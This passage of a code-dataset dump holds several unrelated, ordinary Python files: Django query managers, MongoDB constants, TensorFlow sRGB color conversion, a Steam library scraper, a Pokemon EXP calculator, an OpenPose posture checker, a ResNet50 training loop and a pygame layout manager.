group=group, add_public=True)\n\n def public(self):\n return self.filter(Q(owner_user__isnull=True) & Q(owner_group__isnull=True))\n\n def private(self):\n return self.filter(Q(owner_user__isnull=False) | Q(owner_group__isnull=False))\n\n\nclass OwnedActiveQuerySet(ActiveQuerySet, OwnedQuerySet):\n \"\"\"\n For use in conjunction with ``QuerySetManager``.\n\n The instance model MUST adhere to the ``active`` temporal protocol.\n The model MUST adhere to the ``owner`` protocol.\n \"\"\"\n __module__ = __name__","sub_path":"pycfiles/softwarefabrica.django.common-0.9dev_BZR_r36_panta_elasticworld.org_20091216090517_3o494s4iearpm0rw-py2.4/managers.py","file_name":"managers.py","file_ext":"py","file_size_in_byte":4722,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"322250780","text":"from pymongo import MongoClient\n\n# DEF\nHOST = '172.17.0.2'\nPORT = 27017\nMONGO_DB_NAME = 'database'\nMONGO_COLLECTION_NAME = 'collection'\n\n# MONGO-DB\nMONGO_CLIENT = MongoClient(host=HOST, port=PORT)\nDB = MONGO_CLIENT[MONGO_DB_NAME]\nCOLLECTION = DB[MONGO_COLLECTION_NAME]\n\n# FILE\nFILE_NAME = 'plz.data'\n\n# DEBUG\nVERBOSE = False\n","sub_path":"_07_mongo_db/src/MongoConstants.py","file_name":"MongoConstants.py","file_ext":"py","file_size_in_byte":325,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"16813762","text":"#Copyright 2018 Google LLC\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# https://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"This module implements Tensorflow sRGB color space utility functions.\n\nMore details about sRGB can be found on [this page.]\n(https://en.wikipedia.org/wiki/SRGB)\n\"\"\"\n\nfrom __future__ import absolute_import\nfrom __future__ import division\nfrom __future__ import print_function\n\nimport sys\n\nimport tensorflow as tf\n\nfrom tensorflow_graphics.util import asserts\nfrom tensorflow_graphics.util import export_api\nfrom tensorflow_graphics.util import shape\n\n# Conversion constants following the naming convention from the 'theory of the\n# transformation' section at https://en.wikipedia.org/wiki/SRGB.\n_A = 0.055\n_PHI = 12.92\n_K0 = 0.04045\n\n\ndef to_linear(srgb, gamma=2.4, name=None):\n \"\"\"Converts sRGB colors to linear colors.\n\n Note:\n In the following, A1 to An are optional batch dimensions.\n\n Args:\n srgb: A tensor of shape `[A_1, ..., A_n, 3]`, where the last dimension\n represents sRGB values.\n gamma: A float gamma value to use for the conversion.\n name: A name for this op that defaults to \"srgb_to_linear\".\n\n Raises:\n ValueError: If `srgb` has rank < 1 or has its last dimension not equal to 3.\n\n Returns:\n A tensor of shape `[A_1, ..., A_n, 3]`, where the last dimension represents\n RGB values in linear color space.\n \"\"\"\n with tf.compat.v1.name_scope(name, \"srgb_to_linear\", [srgb]):\n srgb = tf.convert_to_tensor(value=srgb)\n\n shape.check_static(\n tensor=srgb,\n tensor_name=\"srgb\",\n has_rank_greater_than=0,\n has_dim_equals=(-1, 3))\n asserts.assert_all_in_range(srgb, 0., 1.)\n\n return tf.where(srgb <= _K0, srgb / _PHI, ((srgb + _A) / (1 + _A))**gamma)\n\n\ndef from_linear(linear, gamma=2.4, name=None):\n \"\"\"Converts linear colors to sRGB colors.\n\n Note:\n In the following, A1 to An are optional batch dimensions.\n\n Args:\n linear: A Tensor of shape `[A_1, ..., A_n, 3]`, where the last dimension\n represents RGB values in the range [0, 1] in linear color space.\n gamma: A float gamma value to use for the conversion.\n name: A name for this op that defaults to \"srgb_from_linear\".\n\n Raises:\n ValueError: If `linear` has rank < 1 or has its last dimension not equal to\n 3.\n\n Returns:\n A tensor of shape `[A_1, ..., A_n, 3]`, where the last dimension represents\n sRGB values.\n \"\"\"\n with tf.compat.v1.name_scope(name, \"srgb_from_linear\", [linear]):\n linear = tf.convert_to_tensor(value=linear)\n\n shape.check_static(\n tensor=linear,\n tensor_name=\"linear\",\n has_rank_greater_than=0,\n has_dim_equals=(-1, 3))\n asserts.assert_all_in_range(linear, 0., 1.)\n\n # Adds a small eps to avoid nan gradients from the second branch of\n # tf.where.\n linear += sys.float_info.epsilon\n return tf.where(linear <= _K0 / _PHI, linear * _PHI,\n (1 + _A) * (linear**(1 / gamma)) - _A)\n\n\n# API contains all public functions and classes.\n__all__ = export_api.get_functions_and_classes()\n","sub_path":"tensorflow_graphics/image/color_space/srgb.py","file_name":"srgb.py","file_ext":"py","file_size_in_byte":3518,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"198874446","text":"import re\nimport requests\nimport json\nimport time\nfrom fake_useragent import UserAgent\n\n# web crawling\ndef steam_crawling(baseUrl):\n time.sleep(30)\n\n newGame = dict()\n\n ua = UserAgent()\n headers = {'User-Agent': str(ua.random)}\n\n # url='https://steamcommunity.com/profiles/'+string_ID+'/games/?tab=all&sort=playtime'\n url = baseUrl + 'games/?tab=all&sort=playtime'\n print(url)\n\n try:\n html = requests.get(url, headers=headers).text\n\n if 'An error was encountered' in html:\n print('429 Error')\n\n htmlSearch = re.search(r'var rgGames =(.+?);', html, re.S)\n\n gameList = htmlSearch.group(1)\n\n SteamGame = json.loads(gameList)\n\n if (str(SteamGame) != \"[]\" and 'hours_forever' in gameList): # Private library Check\n\n for course in SteamGame:\n gameName = '{name}'.format(**course)\n gameName = gameName.replace(',', ' ') # if 'comma' inside GameName, replace 'space'\n gameTime = '{hours_forever}'.format(**course)\n gameTime = gameTime.replace(',', '') # if'comma' inside playtime, replace 'space'\n print(gameName)\n print(gameTime)\n newGame[gameName] = float(gameTime)\n\n else:\n print('비공개 계정입니다. 계정을 공개로 변경해주세요!')\n\n except:\n print('error')\n\n return newGame\n\n","sub_path":"KNN_game/steam_crawling.py","file_name":"steam_crawling.py","file_ext":"py","file_size_in_byte":1444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"556499023","text":"from math import ceil\nfrom bs4 import BeautifulSoup\nimport requests, sys\n\nVERSIONS = ['black', 'white', 'diamond', 'pearl', 'emerald', 'ruby', 'sapphire', 'gold', \n 'silver', 'red', 'blue', 'heartgold', 'soulsilver', 'platinum', 'crystal']\n\nEXP_GROUPS = {\n 'Erratic' : 0,\n 'Fast' : 1,\n 'Medium Fast' : 2,\n 'Medium Slow' : 3,\n 'Slow' : 4,\n 'Fluctuating' : 5\n}\n\ndef get_ver():\n version = ''\n while version not in VERSIONS:\n print (\"What version are you playing?___\")\n version = input().lower()\n\n return version \n\ndef get_wild_name():\n print (\"What wild pokemon are you looking for?___\")\n return input().title()\n\ndef get_wild_minlvl():\n print (\"What is the minimum level of the wild pokemon?___\")\n while True:\n min_lvl = input()\n if min_lvl.isdigit() and int(min_lvl) > 0 and int(min_lvl) < 101:\n return int(min_lvl)\n print (\"What is the minimum level of the wild pokemon?___\")\n\ndef get_wild_maxlvl():\n print (\"What is the maximum level of the wild pokemon?___\")\n while True:\n max_lvl = input()\n if max_lvl.isdigit() and int(max_lvl) > 0 and int(max_lvl) < 101:\n return int(max_lvl)\n print (\"What is the maximum level of the wild pokemon?___\")\n\ndef get_own_name():\n print (\"What is the Pokemon you are training?__\")\n return input().title()\n\ndef get_start_lvl():\n print (\"What is the level of your current training pokemon?__\")\n while True:\n endlvl = input()\n if endlvl.isdigit() and int(endlvl) > 0 and int(endlvl) < 100:\n return int(endlvl)\n print (\"What is the level of your current training pokemon?__\")\n\ndef get_end_lvl():\n print (\"To what level you want to train it?__\")\n while True:\n endlvl = input()\n if endlvl.isdigit() and int(endlvl) > 0 and int(endlvl) < 101:\n return int(endlvl)\n print (\"To what level you want to train it?__\") \n\ndef get_origin():\n print (\"Is your training Pokemon original? Y/N___\")\n return input().lower().startswith(\"y\")\n\ndef get_info_rows(version):\n html_file = requests.get('http://www.upokecenter.com/dex/?lang=en&version=' + version + '&view=baseexp').text\n soup = BeautifulSoup(html_file)\n rows = soup.findAll('table')[0].findAll('tr')\n\n return rows\n\ndef get_all_exps(info_rows):\n pkm_exps = []\n for row in info_rows[1:]:\n pkm_exps.append(row.findAll('td')[3].get_text())\n\n return pkm_exps\n\ndef get_all_names(info_rows):\n pkm_names = []\n for row in info_rows[1:]:\n pkm_names.append(row.findAll('td')[0].get_text())\n\n return pkm_names\n\ndef get_all_numbers(info_rows):\n pkm_numbers = []\n for row in info_rows[1:]:\n pkm_numbers.append(row.findAll('td')[1].get_text())\n\n return pkm_numbers\n\ndef get_index(name_list, pkm_name):\n index = 0\n for name in name_list:\n if pkm_name in name:\n return index\n else:\n index += 1\n\ndef get_pkm_number(number_list, index):\n return number_list[index]\n\ndef get_exp_yield(exp_list, wild_index, origin, level): \n exp = exp_list[wild_index]\n origin_mult = 1\n if not origin:\n origin_mult = 1.5 \n return (int(exp) * origin_mult * level / 7)\n\ndef get_bonus_info(number):\n if int(number) < 100:\n number = '0' + number\n html_file2 = requests.get('http://www.serebii.net/pokedex-bw/' + number + '.shtml').text\n soup2 = BeautifulSoup(html_file2)\n rows2 = soup2.findAll('table', {'class' : 'dextable'})[1].findAll('tr')[-1]\n \n return rows2\n\ndef get_exp_group(info_rows):\n row = info_rows.select('td')[0].get_text()\n exp_group = row[(row.index('Points') + 6):]\n # obtain EXP-group of the specified wild Pokemon @serebii.net\n\n for group in EXP_GROUPS:\n if group == exp_group:\n return EXP_GROUPS[group]\n\ndef get_EV(info_rows, fights):\n row = info_rows.select('td')[2].get_text()\n if len(row) < 25:\n ev = str(int(row[0]) * fights)\n return ev + row[1:]\n else:\n sep = row.index(')')\n ev1 = str(int(row[0]) * fights)\n ev2 = str(int(row[sep+1]) * fights)\n return ev1 + row[1:sep+1] + ' & ' + ev2 + row[(sep+2):]\n\ndef get_required_exp(startlvl, endlvl, exp_group):\n html_file = requests.get('http://bulbapedia.bulbagarden.net/wiki/Experience').text\n soup = BeautifulSoup(html_file)\n table_currentlvl = soup.findAll('table', {'class' : 'roundy'})[0].findAll('tr')[startlvl + 1]\n table_tolvl = soup.findAll('table', {'class' : 'roundy'})[0].findAll('tr')[endlvl + 1]\n\n start_exp = int(table_currentlvl.findAll('td')[exp_group].get_text())\n end_exp = int(table_tolvl.findAll('td')[exp_group].get_text())\n\n return end_exp - start_exp\n\ndef searchAgain():\n print (\"DO YOU WANT TO DO ANOTHER SEARCH?__yes/no\")\n return input().lower().startswith('y')\n\n#####################################################\n\nwhile True:\n version = get_ver() # get all the required info\n wild_name = get_wild_name()\n wild_minlvl = get_wild_minlvl()\n wild_maxlvl = get_wild_maxlvl()\n own_name = get_own_name()\n start_lvl = get_start_lvl()\n end_lvl = get_end_lvl()\n origin = get_origin()\n\n if version == 'platinum':\n subs_version = 'diamond'\n elif version == 'crystal':\n subs_version = 'gold'\n else:\n subs_version = version\n\n info_rows = get_info_rows(subs_version) # fill the name, number and base-exp lists\n exp_list = get_all_exps(info_rows)\n name_list = get_all_names(info_rows)\n number_list = get_all_numbers(info_rows)\n \n own_index = get_index(name_list, own_name) # get your own pokemon's info\n own_number = str(get_pkm_number(number_list, own_index))\n own_bonus_info_rows = get_bonus_info(own_number)\n own_exp_group = get_exp_group(own_bonus_info_rows)\n\n wild_index = get_index(name_list, wild_name) # get the wild pokemon's info\n wild_number = get_pkm_number(number_list, wild_index)\n wild_bonus_info_rows = get_bonus_info(wild_number)\n\n min_exp_yield = get_exp_yield(exp_list, wild_index, origin, wild_minlvl)\n max_exp_yield = get_exp_yield(exp_list, wild_index, origin, wild_maxlvl)\n required_exp = get_required_exp(start_lvl, end_lvl, own_exp_group)\n\n required_fights = ceil((required_exp) / ((min_exp_yield + max_exp_yield) / 2))\n ev_earned = get_EV(wild_bonus_info_rows, required_fights)\n\n for key in EXP_GROUPS.keys(): # get the exp-group (lame way thou)\n if EXP_GROUPS[key] == own_exp_group:\n own_group = key\n\n print ()\n print (\"You are playing Pokemon \" + version.title())\n print (\"You are training %s from level %d to level %d. Your EXP-group is %s\" % (own_name, start_lvl, end_lvl, own_group))\n print (\"The EXP you have to accumulate is : %d\" % required_exp)\n print (\"The wild Pokemon you are grinding is %s with, level %s - %s\" % (wild_name, wild_minlvl, wild_maxlvl))\n print ()\n print (\"Each battle you get a minimum of %d EXP, maximum of %d EXP.\" % (min_exp_yield, max_exp_yield))\n print (\"Average number of %s you have to fight : %d\" % (wild_name, required_fights))\n print (\"You will earn in total {0}\".format(ev_earned))\n\n if not searchAgain():\n sys.exit()\n\n\n","sub_path":"exp_calc.py","file_name":"exp_calc.py","file_ext":"py","file_size_in_byte":7317,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"480820151","text":"import cv2\nimport math\nimport numpy as np\n\n\ndef output_keypoints(frame, proto_file, weights_file, threshold, model_name, BODY_PARTS):\n global points\n global count\n # 이미지 읽어오기\n # frame = cv2.imread(image_path)\n # cv2.im\n\n # 네트워크 불러오기\n net = cv2.dnn.readNetFromCaffe(proto_file, weights_file)\n\n # 입력 이미지의 사이즈 정의\n image_height = 368\n image_width = 368\n\n # 네트워크에 넣기 위한 전처리\n input_blob = cv2.dnn.blobFromImage(frame, 1.0 / 255, (image_width, image_height), (0, 0, 0), swapRB=False,\n crop=False)\n\n # 전처리된 blob 네트워크에 입력\n net.setInput(input_blob)\n\n # 결과 받아오기\n out = net.forward()\n\n out_height = out.shape[2]\n\n out_width = out.shape[3]\n\n # 원본 이미지의 높이, 너비를 받아오기\n frame_height, frame_width = frame.shape[:2]\n\n # 포인트 리스트 초기화\n points = []\n\n print(f\"\\n========== {model_name} ==========\")\n count = [0, 0]\n for i in range(len(BODY_PARTS)):\n\n # 신체 부위의 confidence map\n prob_map = out[0, i, :, :]\n\n # 최소값, 최대값, 최소값 위치, 최대값 위치\n min_val, prob, min_loc, point = cv2.minMaxLoc(prob_map)\n\n # 원본 이미지에 맞게 포인트 위치 조정\n x = (frame_width * point[0]) / out_width\n x = int(x)\n y = (frame_height * point[1]) / out_height\n y = int(y)\n if prob > threshold: # [pointed]\n if i in (0, 2, 5, 17, 18):\n cv2.circle(frame, (x, y), 5, (0, 255, 255), thickness=-1, lineType=cv2.FILLED)\n cv2.putText(frame, str(i), (x, y), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (0, 0, 255), 1, lineType=cv2.LINE_AA)\n if i in (2, 17):\n count[1] = count[1] + 1\n if i in (5, 18):\n count[0] = count[0] + 1\n\n points.append((x, y))\n # print(f\"[pointed] {BODY_PARTS[i]} ({i}) => prob: {prob:.5f} / x: {x} / y: {y}\")\n\n else: # [not pointed]\n # if i in (0, 2, 5, 17, 18):\n # cv2.circle(frame, (x, y), 5, (0, 255, 255), thickness=-1, lineType=cv2.FILLED)\n # cv2.putText(frame, str(i), (x, y), cv2.FONT_HERSHEY_SIMPLEX, 0.6, (255, 0, 0), 1, lineType=cv2.LINE_AA)\n\n points.append(None)\n # print(f\"[not pointed] {BODY_PARTS[i]} ({i}) => prob: {prob:.5f} / x: {x} / y: {y}\")\n\n return frame\n\n\ndef output_keypoints_with_lines(POSE_PAIRS, frame):\n # 프레임 복사\n frame_line = frame.copy()\n\n # Neck 과 MidHeap 의 좌표값이 존재한다면\n if count[0] > count[1]:\n print(\"left\")\n # calculate_degree(point_1=points[5], point_2=points[18], point_3=points[5], point_4=points[0], frame=frame_line)\n calculate_degree(point_1=points[5], point_2=points[18], frame=frame_line)\n elif count[0] < count[1]:\n print(\"right\")\n # calculate_degree(point_1=points[2], point_2=points[17], point_3=points[2], point_4=points[0], frame=frame_line)\n calculate_degree(point_1=points[2], point_2=points[17], frame=frame_line)\n # if (points[5] is not None) and (points[18] is not None) and (points[2] is not None):\n\n for pair in POSE_PAIRS:\n part_a = pair[0] # 0 (Head)\n part_b = pair[1] # 1 (Neck)\n if points[part_a] and points[part_b]:\n print(f\"[linked] {part_a} {points[part_a]} <=> {part_b} {points[part_b]}\")\n # Neck 과 MidHip 이라면 분홍색 선\n # if (part_a == 5 and part_b == 18) or (part_a == 18 and part_b == 5) or (part_a == 1 and part_b == 8):\n # cv2.line(frame, points[part_a], points[part_b], (255, 0, 255), 3)\n # else: # 노란색 선\n cv2.line(frame, points[part_a], points[part_b], (0, 255, 0), 3)\n else:\n print(f\"[not linked] {part_a} {points[part_a]} <=> {part_b} {points[part_b]}\")\n\n # 포인팅 되어있는 프레임과 라인까지 연결된 프���임을 가로로 연결\n frame_horizontal = cv2.hconcat([frame, frame_line])\n return frame_horizontal\n\n\ndef calculate_degree(point_1, point_2, frame):\n # 역탄젠트 구하기\n dx1 = abs(point_2[0] - point_1[0])\n dy1 = abs(point_2[1] - point_1[1])\n # dx2 = abs(point_4[0] - point_3[0])\n # dy2 = abs(point_4[1] - point_3[1])\n rad1 = math.atan2(abs(dy1), abs(dx1))\n # rad2 = math.atan2(abs(dy2), abs(dx2))\n\n # radian 을 degree 로 변환\n deg1 = rad1 * 180 / math.pi\n # deg2 = rad2 * 180 / math.pi\n\n # if point_1[1]>\n deg = deg1 # - deg2\n # degree 가 30'보다 작으면 거북목이라 판단\n if deg > 75:\n string = f\"not {deg: .0f}\"#, {deg1: .0f}, {deg2: .0f}\"\n cv2.putText(frame, string, (0, 25), cv2.FONT_HERSHEY_DUPLEX, 1, (255, 0, 255))\n print(f\"[degree] {deg} ({string})\")\n else:\n string = f\"turtle {deg: .0f}\"#, {deg1: .0f}, {deg2: .0f}\"\n cv2.putText(frame, string, (0, 25), cv2.FONT_HERSHEY_DUPLEX, 1, (255, 0, 255))\n print(f\"[degree] {deg} ({string})\")\n\n\nBODY_PARTS_BODY_25 = {0: \"Nose\", 1: \"Neck\", 2: \"RShoulder\", 3: \"RElbow\", 4: \"RWrist\",\n 5: \"LShoulder\", 6: \"LElbow\", 7: \"LWrist\", 8: \"MidHip\", 9: \"RHip\",\n 10: \"RKnee\", 11: \"RAnkle\", 12: \"LHip\", 13: \"LKnee\", 14: \"LAnkle\",\n 15: \"REye\", 16: \"LEye\", 17: \"REar\", 18: \"LEar\", 19: \"LBigToe\",\n 20: \"LSmallToe\", 21: \"LHeel\", 22: \"RBigToe\", 23: \"RSmallToe\", 24: \"RHeel\",\n 25: \"Background\"}\n\nPOSE_PAIRS_BODY_25 = [[5, 18], [0, 15], [0, 16], [1, 2], [1, 5], [1, 8], [8, 9], [8, 12], [9, 10], [12, 13],\n [2, 3],\n [3, 4], [5, 6], [6, 7], [10, 11], [13, 14], [15, 17], [16, 18], [14, 21], [19, 21],\n [20, 21],\n [11, 24], [22, 24], [23, 24]]\n\n\n\n\n\n","sub_path":"poseapp/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5951,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"288623352","text":"#code courtesy: https://www.kaggle.com/gxkok21/resnet50-with-pytorch\n#author: Mohammad Minhazul Haq\n#created on: February 3, 2020\n\nimport torch\nimport torchvision\nimport os\nimport os.path as osp\nimport torch.backends.cudnn as cudnn\nimport pickle\nimport numpy as np\nimport torch.nn as nn\nfrom torch.utils import data\nfrom dataset_loader import WSI_Dataset\nfrom utils import transform_pipe_train, transform_pipe_val_test\nfrom tensorboardX import SummaryWriter\n\n\nEPOCHS = 100\nTRAIN_DIR = \"data/prepared_dataset/train\"\nVAL_DIR = \"data/prepared_dataset/validation\"\nMEAN_STD_FILE = 'data/prepared_dataset/mean_std.txt'\nSAVED_MODEL_DIR = 'saved_model_resnet50_batchsize8_512'\nLOG_PATH = 'logs_resnet50_batchsize8_512'\nBATCH_SIZE = 8\nLEARNING_RATE = 1e-3\nGPU_DEVICE = torch.device(\"cuda:0\")\n\ndef validate(model, validation_loader, loss_function):\n loss_sum = 0\n correct_sum = 0\n samples = 0\n softmax = torch.nn.Softmax(dim=1)\n\n for iter, batch in enumerate(validation_loader):\n image, label, name = batch\n image = image.to(GPU_DEVICE)\n label = label.to(GPU_DEVICE)\n\n with torch.set_grad_enabled(False):\n prediction = model(image)\n\n loss = loss_function(prediction, label)\n loss_value = loss.data.cpu().numpy()\n loss_sum += loss_value * BATCH_SIZE\n\n predicted_class = torch.max(softmax(prediction), 1)[1]\n num_corrects = torch.sum(predicted_class == label).data.cpu().numpy()\n correct_sum += num_corrects\n\n samples += BATCH_SIZE\n\n print(\"iter:{0:4d}, loss:{1:.3f}, label:{2:2d}, predicted_class:{3:2d}, prediction:{4}\".format(\n iter + 1, loss_value, label.data.cpu().numpy()[0],\n predicted_class.data.cpu().numpy()[0],\n softmax(prediction)[0].data.cpu().numpy()))\n\n val_loss = float(loss_sum) / float(samples)\n val_accuracy = float(correct_sum) / float(samples)\n\n return val_loss, val_accuracy\n\n\ndef train():\n if not osp.exists(SAVED_MODEL_DIR):\n os.makedirs(SAVED_MODEL_DIR)\n\n if not osp.exists(LOG_PATH):\n os.makedirs(LOG_PATH)\n\n writer = SummaryWriter(log_dir=LOG_PATH)\n cudnn.enabled = True\n\n # with open(MEAN_STD_FILE, 'rb') as handle:\n # data_mean_std = pickle.loads(handle.read())\n #\n # mean_train = data_mean_std['mean_train_images']\n # std_train = data_mean_std['std_train_images']\n # mean_val = data_mean_std['mean_val_images']\n # std_val = data_mean_std['std_val_images']\n #\n # print(mean_train)\n # print(std_train)\n # print(mean_val)\n # print(std_val)\n\n train_loader = data.DataLoader(WSI_Dataset(dir=TRAIN_DIR,\n transform=transform_pipe_train),\n batch_size=BATCH_SIZE,\n shuffle=True)\n\n validation_loader = data.DataLoader(WSI_Dataset(dir=VAL_DIR,\n transform=transform_pipe_val_test),\n batch_size=BATCH_SIZE)\n\n model = torchvision.models.resnet50(pretrained=True)\n\n #model.avgpool = torch.nn.AdaptiveAvgPool2d(1)\n\n #replace the final fully connected layer to suite the problem\n model.fc = torch.nn.Linear(in_features=2048, out_features=4)\n\n if torch.cuda.device_count() > 1:\n print(\"using \" + str(torch.cuda.device_count()) + \"GPUs...\")\n model = nn.DataParallel(model)\n\n model.eval()\n\n model.to(GPU_DEVICE)\n cudnn.benchmark = True\n\n optimizer = torch.optim.Adam(model.parameters(), lr=LEARNING_RATE)\n scheduler = torch.optim.lr_scheduler.ReduceLROnPlateau(optimizer, mode='max', patience=5, verbose=True)\n optimizer.zero_grad()\n\n weight = np.array([1 / float(71), 1 / float(132), 1 / float(411), 1 / float(191)])\n weight_tensor = torch.from_numpy(weight).float().to(GPU_DEVICE)\n mce_loss = torch.nn.CrossEntropyLoss(weight=weight_tensor)\n #mce_loss = torch.nn.CrossEntropyLoss()\n softmax = torch.nn.Softmax(dim=1)\n best_val_accuracy = 0.0\n lowest_val_loss = 1000\n\n for epoch in range(1, EPOCHS+1):\n model.train()\n\n samples = 0\n loss_sum = 0\n correct_sum = 0\n\n for iter, batch in enumerate(train_loader):\n image, label, name = batch\n image = image.to(GPU_DEVICE)\n label = label.to(GPU_DEVICE)\n optimizer.zero_grad()\n\n with torch.set_grad_enabled(True):\n prediction = model(image)\n\n loss = mce_loss(prediction, label)\n loss.backward()\n optimizer.step()\n loss_value = loss.data.cpu().numpy()\n\n predicted_class = torch.max(softmax(prediction), 1)[1]\n\n loss_sum += loss_value * BATCH_SIZE #we need to multiple by batch size as loss is the mean loss of the samples in the batch\n samples += BATCH_SIZE\n num_corrects = torch.sum(predicted_class == label).data.cpu().numpy()\n correct_sum += num_corrects\n\n print(\"epoch:{0:3d}, iter:{1:4d}, loss:{2:.3f}, label:{3:2d}, predicted_class:{4:2d}, prediction:{5}\".format(epoch, iter+1, loss_value,\n label.data.cpu().numpy()[0],\n predicted_class.data.cpu().numpy()[0],\n softmax(prediction)[0].data.cpu().numpy()))\n\n #train epoch statistics\n epoch_loss = float(loss_sum) / float(samples)\n epoch_accuracy = float(correct_sum) / float(samples)\n\n print(\"epoch:{0:3d}, epoch_loss:{1:.3f}, epoch_acc: {2:.3f}\".format(epoch, epoch_loss, epoch_accuracy))\n\n writer.add_scalar('training epoch loss', epoch_loss, epoch)\n writer.add_scalar('training epoch accuracy', epoch_accuracy, epoch)\n\n #validation\n model.eval()\n print(\"validating...\")\n val_loss, val_accuracy = validate(model, validation_loader, mce_loss)\n\n print(\"val_loss: {0:.3f}, val_accuracy: {1:.3f}\".format(val_loss, val_accuracy))\n\n writer.add_scalar('validation loss', val_loss, epoch)\n writer.add_scalar('validation accuracy', val_accuracy, epoch)\n\n if (val_accuracy > best_val_accuracy):\n best_val_accuracy = val_accuracy\n print('saving best model so far...')\n torch.save(model.state_dict(), osp.join(SAVED_MODEL_DIR, 'best_model_' + str(epoch) + '.pth'))\n\n scheduler.step(val_accuracy) # update learning rate\n\n\nif __name__=='__main__':\n train()\n","sub_path":"codes/train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":6801,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"398216053","text":"import pygame\n\nfrom .config import load_config\nCONFIG, _ = load_config()\n\n\nclass Manager:\n \"\"\"\n A base class that all pane managers will inherit from.\n This provides render and event propagation to children.\n\n Currently inheriting classes:\n - RootWindow\n - GriddingManager\n - SingleManager\n \"\"\"\n\n def __init__(self):\n self._children = {}\n\n def remove(self, child):\n if child in self._children:\n if isinstance(self._children, dict):\n del self._children[child]\n elif hasattr(self._children, \"remove\"):\n # For root-level managers, _children might be a list\n self._children.remove(child)\n\n def request_position(self, child):\n return 0, 0\n\n def request_size(self, child):\n return 0, 0\n\n def render(self, surface, position):\n \"\"\"Request re-draws from children then push to the screen.\"\"\"\n for child in self._children:\n rel_pos = self.request_position(child)\n if not isinstance(child, Manager):\n pos = (rel_pos[0] + position[0] + CONFIG.get('padding', 0.5),\n rel_pos[1] + position[1] + CONFIG.get('padding', 0.5))\n\n child.render()\n surface.blit(child.surface, pos)\n else:\n pos = (rel_pos[0] + position[0],\n rel_pos[1] + position[1])\n\n child.render(surface, pos)\n\n def event(self, event, position):\n \"\"\"Propagate an event through all the children.\"\"\"\n for child in list(self._children.keys()):\n pos = self.request_position(child)\n pos = (pos[0] + position[0], pos[1] + position[1])\n if not hasattr(event, 'pos'):\n if isinstance(child, Manager):\n child.event(event, pos)\n continue\n child.event(event)\n continue\n\n if not child.visible: continue\n size = self.request_size(child)\n rect = pygame.Rect(*pos, *size)\n\n if rect.collidepoint(*event.pos):\n if isinstance(child, Manager):\n child.event(event, pos)\n else:\n child.event(event)\n\n def tick(self):\n \"\"\"Propagate a tick through all the children.\"\"\"\n for child in list(self._children.keys()):\n child.tick()\n\n @property\n def children(self):\n return len(self._children)\n\n\nclass Gridable:\n \"\"\"This class represents any object that can be a child of a manager.\"\"\"\n def __init__(self, *args, **kwargs):\n self._parent = None\n self.visible = True\n self.row_span = kwargs.get('row_span', 1)\n self.col_span = kwargs.get('col_span', 1)\n\n @property\n def parent(self):\n return self._parent\n\n @parent.setter\n def parent(self, parent):\n assert isinstance(parent, Manager)\n self._parent = parent\n\n @parent.deleter\n def parent(self):\n self._parent.remove_child(self)\n self._parent = None\n\n def tick(self):\n pass\n\n def destroy(self):\n self.parent.remove(self)\n if isinstance(self.parent, Manager):\n if self.parent.children == 0:\n self.parent.destroy()\n\n\nclass Pane(Gridable):\n \"\"\"This represents a child that provides a surface for drawing onto.\"\"\"\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n\n self._surface = None\n\n @property\n def surface(self):\n assert self.parent is not None\n\n size = self.parent.request_size(self)\n size = (size[0] - CONFIG.get('padding', 0.5) * 2,\n size[1] - CONFIG.get('padding', 0.5) * 2)\n if self._surface is None:\n self._surface = pygame.Surface(size).convert_alpha()\n elif self._surface.get_size() != size:\n surf = pygame.Surface(size).convert_alpha()\n surf.blit(self._surface, (0, 0))\n self._surface = surf\n\n return self._surface\n\n def render(self):\n \"\"\"This method is called when the manager desires a re-draw.\"\"\"\n pass\n\n def event(self, event):\n \"\"\"This method is called with any propagated events.\"\"\"\n pass\n\n def outline_and_fill(self, bg, mg):\n size = self.surface.get_size()\n\n self.surface.fill(bg)\n self.surface.set_at((0, 0), (0, 0, 0))\n self.surface.set_at((size[0] - 1, 0), (0, 0, 0))\n self.surface.set_at((0, size[1] - 1), (0, 0, 0))\n self.surface.set_at((size[0] - 1, size[1] - 1), (0, 0, 0))\n\n if mg:\n x = CONFIG.get('colour_padding', 4)\n y = CONFIG.get('colour_padding', 4)\n w = size[0] - CONFIG.get('colour_padding', 4) * 2\n h = size[1] - CONFIG.get('colour_padding', 4) * 2\n\n pygame.draw.rect(self.surface, mg, (x + 1, y, w - 2, h))\n pygame.draw.line(self.surface, mg, (x, y + 1), (x, y + h - 2))\n pygame.draw.line(self.surface, mg, (w + x - 1, y + 1), (w + x - 1, y + h - 2))\n\n\nclass GridingManager(Gridable, Manager):\n \"\"\"\n This is a basic manager that provides a griding interface for panes.\n\n Both `Manager` and `Gridable` have been inherited to allow for stacking\n of managers within managers.\n \"\"\"\n def __init__(self):\n Gridable.__init__(self)\n Manager.__init__(self)\n self.rows = 0\n self.columns = 0\n\n def grid(self, child, column, row):\n \"\"\"Add a new child into the gridding system.\"\"\"\n assert isinstance(child, Gridable)\n self.rows = max(self.rows, row + 1)\n self.columns = max(self.columns, column + 1)\n self._children[child] = (column, row)\n\n child.parent = self\n return child\n\n def request_position(self, child):\n \"\"\"Compute the relative location for any given child.\"\"\"\n if child not in self._children: return 0, 0\n self_size = self.parent.request_size(self)\n\n cell_w = self_size[0] / self.columns\n 